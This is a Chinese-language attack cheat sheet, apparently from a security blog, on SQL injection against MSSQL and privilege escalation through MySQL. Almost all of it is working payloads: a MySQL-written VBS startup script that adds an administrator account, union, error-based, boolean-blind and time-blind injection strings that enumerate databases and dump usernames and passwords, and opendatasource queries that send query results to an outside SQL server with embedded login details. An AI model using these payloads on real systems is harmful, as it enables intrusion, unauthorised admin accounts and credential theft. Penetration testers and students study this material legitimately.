SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; <br><br>SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
在windows2003的系统下,启动项路径如下:<br> C:\Documents and Settings\Administrator\「开始」菜单\程序\启动<br> C:\Documents and Settings\All Users\「开始」菜单\程序\启动<br><br>在windows2008的系统下,启动项路径如下:<br> C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup<br> C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
set wshshell=createobject("wscript.shell")<br>a=wshshell.run("cmd.exe /c net user test test123 /add",0)<br>b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
复制代码
通过mysql的话:
use mysql;<br>create table test(cmd text);<br>insert into a values(“set wshshell=createobject(“”wscript.shell””)”);<br>insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);<br>insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);<br>select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;
# 创建数据库<br>create database [dbname];<br>create database test;<br><br># 删除数据库<br>drop database [dbname];<br>drop database test;<br><br># 创建新表<br>create table table_name (name char(10),age tinyint,sex int);<br># 创建新表前要选择数据库,默认是master库 <br>use test; <br>create table admin (users char(255),passwd char(255),sex int);<br><br># 删除新表<br>drop table table_name;<br>drop table dbo.admin;<br><br># 向表中插入数据<br>insert into table_name (column1,column2) values(value1,value2);<br>insert into admin (users,passwd,sex) values('admin','admin',1);<br><br># 删除内容<br>delete from table_name where column1=value1;<br>delete from admin where sex=2;<br><br># 更新内容<br>update table_name set column2=”xxx” where column1=value1;<br>update admin set users='admintest' where sex=2;<br><br># 查找内容<br>select * from table_name where column1=value1;<br>select passwd from admin where users='admin';
复制代码
复制代码
排序&获取下一条数据
MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,
使用 来排除已经显示的数据,获取下一条数据,也就是不等于的意思。
使用not in来排除已经显示的数据,获取下一条数据 ,后面可以跟一个集合。
# 使用<>获取数据<br>id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+<br># 使用not in获取数据<br>id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+<br>id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
复制代码
MSSSQL注释
单行:--空格<br>多行:/**/
复制代码
常用函数
常见注入类型
联合查询注入
1.判断注入点及类型<br>?id=1' and 1=1--+<br>?id=1' and 1=2--+<br># 那么此处是字符型注入,需要单引号闭合<br><br>2.判断字段数<br>?id=1' order by 3--+<br>?id=1' order by 4--+<br><br>3.联合查询判断回显点<br>?id=0' union select 1,2,3--+<br><br>4.获取当前数据库名字和版本信息<br>?id=0' union select 1,db_name(),@@version--+<br><br>5.获取所有的数据库名,database在较高版本的SQL Server 中已经变成了动态视图<br>?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name <br>from master.sys.databases)--+<br><br>6.获取所有的表名,当information前面没有库名时,默认查询当前数据库,与mysql不同,每个数据库都有单独的information表,可以用master.information_schema.tables 来查询不同数据库的信息<br>?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in<br>(select top 1 table_name from information_schema.tables)--+<br><br>7.获取所有的字段名,多加些限定条件方便注入<br>?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in<br>(select top 1 column_name from information_schema.columns)--+<br><br>?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and <br>column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--<br><br>8.获取users表账号密码信息<br>?id=0' union select top 1 1,username,password from users--+
复制代码
报错注入
MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入
1.判断注入点<br>id=1<br><br>2.判断是否为MSSQL数据库<br># 返回正常为MSSQL<br>id=1 and exists(select * from sysobjects)<br>id=1 and exists(select count(*) from sysobjects)<br><br>3.判断数据库版本号<br>id=1 and @@version>0--+<br># @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了,必须是在where后面拼接执行<br><br>4.获取当前数据库名<br>and db_name()>0--+<br>and 1=db_name()--+<br># 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果<br><br>5.判断当前服务器拥有的权限<br>and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+<br>and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+<br><br>6.判断当前角色是否为DB_OWNER <br>and 1=(select is_member('db_owner'))--+<br># db_owner权限可以通过备份方式向目标网站写文件<br><br>7.获取当前用户名<br>and user_name()>0--+<br><br>8,获取所有数据库名<br>and (select name from master.sys.databases where database_id=1)>0--+<br># 更改database_id的值来获取所有的数据库<br><br>9.获取数据库的个数 <br>and 1=(select quotename(count(name)) from master.sys.databases)--+<br><br>10.一次性获取所有数据库库<br>and 1=(select quotename(name) from master.sys.databases for xml path(''))--+<br><br>11.获取所有的表名 <br># 获取当前库第一个表<br>and 1=(select top 1 table_name from information_schema.tables)--+<br># 获取当前库第二个表<br>and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+<br># 获取当前库第三个表<br>and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+<br># 也可通过更改top 参数获取表<br>and 1=(select top 1 table_name from information_schema.tables where table_name not in<br>(select top 5 table_name from information_schema.tables))--+<br># quotename和for xml path('')一次性获取全部表<br>and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+<br># quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。<br><br>12.获取字段名<br># 通过top 和 not in 获取字段<br>and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+<br>and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+<br># 通过quotename 和 for xml path('') 获取字段<br>and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+<br><br>13.获取表中数据<br>and 1=(select quotename(username) from users for xml path(''))--+<br>and 1=(select quotename(password) from users for xml path(''))--+
复制代码
布尔盲注
1. 判断注入点 <br>and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+<br><br>2.猜解数据库个数<br>id=1 and (select count(*) from sys.databases)=7--+ # 存在7个数据库<br><br>3.猜解数据库名长度 <br>id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6<br>id=1 and len(db_name())=4--+ # 当前数据库名长度为4<br><br>4.猜解数据库名<br>id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s<br>id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q<br># 截取第一个库名第一个字符的ascii码为109——m<br>id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+<br># 截取第二个库名第一个字符的ascii码为105——i<br>id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+ <br><br>5.猜解表名<br># 截取当前库的第一个表的第一个字符的ascii码为101——e<br>id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+ <br># 截取当前库的第二个表的第一个字符的ascii码为117——u<br>id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+<br><br>6.猜解字段名 <br># 截取当前库的emails表的第一个字符的ascii码为105——i<br>id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+<br>#截取当前库的emails表的第二个字符的ascii码为100——d <br>id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+ <br><br>7.猜解表中数据<br># username字段的数据第一个字符为D<br>id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
复制代码
时间盲注
1.判断是否存在注入<br>id=1 WAITFOR DELAY '0:0:5'--+<br><br>2.判断权限<br># 如果是sysadmin权限,则延时5秒<br>id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+<br><br>3.查询当前数据库的长度和名字<br># 二分法查询长度<br>id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+<br># 查询数据库名字<br># substring截取字符串的位置,用ascii转为数字进行二分法查询<br>id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+<br><br>4.查询数据库的版本 <br>id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M<br><br>5.查询表个数,Sysobject 存储了所有表的信息,所有数据库的都放在一起<br>id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+<br># 当前数据库表的个数为6<br><br>6.查询第一个表的长度<br># 查询第一个表<br>id=1 and select top 1 name from SysObjects where xtype='u' <br># 查询结果为1<br>(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')<br># 利用and,进行判断,9为表长度的猜测<br>and len(name)=9<br># 第一个表名长度为6<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+<br><br>7.查询第一个表的表名<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+<br><br>8.查询第二个表的长度<br># 查询第一个表名,去除emails, emails为第一个表名<br>select top 1 name from SysObjects where xtype='u' and name not in ('emails')<br># 同理,第三个表则 and name not in ('emails','uagents')<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+<br><br>9.查询第二个表的名字<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+<br>id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+<br><br>10.查询第一个表中的字段<br># and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名<br>id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+<br><br>11.查询字段类型 <br>id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+<br><br>12.查询数据<br># 查询所有数据库<br>SELECT Name FROM Master..SysDatabases ORDER BY Name<br># 查询存在password字段的表名<br>SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'<br>id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--<br># 查询包含pass的字段名<br>SELECT top 1 name FROM SysColumns where name like '%pass%'<br>id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
# 查询sysobjects表<br>?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+<br><br># 查询information_schema数据库<br>?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+ <br><br># 查询information_schema数据库<br>id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+<br><br># 查询syscolumns表<br>id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+